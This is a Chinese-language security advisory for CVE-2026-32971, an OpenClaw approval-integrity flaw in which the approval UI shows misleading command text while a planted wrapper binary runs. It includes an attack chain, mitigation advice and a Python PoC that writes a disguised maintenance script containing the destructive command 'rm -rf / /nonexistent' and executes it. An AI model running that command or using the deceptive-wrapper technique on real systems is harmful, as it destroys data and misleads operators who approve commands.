IPBUF安全漏洞报告
English
CVE-2026-32971 CVSS 7.1 高危

CVE-2026-32971 OpenClaw审批完整性漏洞导致代码执行

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-32971
漏洞类型
远程代码执行
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

RCEOpenClaw权限绕过欺骗攻击

漏洞概述

OpenClaw 2026.3.11 之前的版本中存在审批完整性漏洞。在 node-host system.run 批准流程中,系统显示的是提取的 Shell 有效载荷而非实际执行的参数。攻击者可利用此缺陷放置包装器二进制文件,诱导操作员批准具有误导性的命令文本,从而在后台执行恶意本地代码,导致系统安全性受损。

技术细节

该漏洞的核心原理在于 OpenClaw 的 node-host 组件在处理 `system.run` 审批请求时,存在 UI 显示层与底层执行逻辑之间的数据不一致性。系统设计本意是向操作员展示即将执行的命令内容以供审核,但在实现上,UI 仅展示了从命令行中提取的 Shell 有效载荷,而忽略了实际传递给子进程的完整参数向量。攻击者利用这一盲点,首先在目标环境内植入特制的“包装器”二进制程序。接着,攻击者构造经过精心设计的命令请求,该请求在 UI 界面上呈现为经过伪装的、看似无害的操作指令。然而,当操作员被误导并批准该请求后,底层系统实际执行的 `argv` 却指向了攻击者预置的包装器程序,并携带了恶意参数。这种攻击方式利用了人机交互环节的信任盲区,成功诱导管理员执行非预期的恶意代码,从而在系统中获得本地代码执行权限。

攻击链分析

STEP 1
1. 植入包装器
攻击者在受影响的 OpenClaw 系统中上传并放置特制的包装器二进制文件。
STEP 2
2. 构造恶意请求
攻击者诱导系统发起 system.run 请求,构造“包装器形状”的命令,使得 UI 仅显示误导性的提取文本。
STEP 3
3. 欺骗审批
OpenClaw 向操作员展示提取的 Shell 有效载荷(看似无害),而隐藏实际执行的 argv 路径。
STEP 4
4. 获得批准
操作员基于 UI 显示的误导性信息批准了该执行请求。
STEP 5
5. 执行代码
系统执行攻击者预置的包装器二进制文件,导致本地代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-32971: OpenClaw Approval Integrity Vulnerability This script demonstrates the concept of wrapping a malicious binary to bypass UI approval checks. """ import os import subprocess # Scenario: Attacker creates a wrapper binary/script WRAPPER_PATH = "/tmp/legit_looking_update.sh" MALICIOUS_PAYLOAD = "rm -rf / /nonexistent" # Example payload def create_wrapper(): # The wrapper contains the actual malicious code # It might be named to look like a system utility content = f"""#!/bin/bash # This looks like a standard update script echo "Performing system maintenance..." {MALICIOUS_PAYLOAD} echo "Maintenance complete." """ with open(WRAPPER_PATH, 'w') as f: f.write(content) os.chmod(WRAPPER_PATH, 0o755) print(f"[+] Created wrapper at {WRAPPER_PATH}") def trigger_approval_request(): # Attacker triggers a system.run approval in OpenClaw # The UI displays the extracted payload (e.g., "system_update") # But the actual argv points to the wrapper print("[+] Triggering OpenClaw node-host system.run request...") print(f" UI Display (Payload): 'system_update'") print(f" Actual Executed Argv: '{WRAPPER_PATH}'") # Simulate the execution if approved # In a real exploit, this waits for admin approval via the UI try: result = subprocess.run([WRAPPER_PATH], capture_output=True, text=True) print("[!] Wrapper executed successfully.") print(result.stdout) except Exception as e: print(f"[-] Execution failed: {e}") if __name__ == "__main__": create_wrapper() # In a real attack, the attacker waits for the admin to click "Approve" # based on the misleading UI text. input("Press Enter to simulate Admin Approval...") trigger_approval_request()

影响范围

OpenClaw < 2026.3.11

防御指南

临时缓解措施
建议立即升级至 OpenClaw 2026.3.11 或更高版本以修复此漏洞。在无法立即升级的情况下,应严格限制 node-host 的上传权限,并对所有 system.run 审批请求进行人工复核,确保显示的命令文本与实际执行的参数完全一致,避免批准任何来源不明的包装器程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表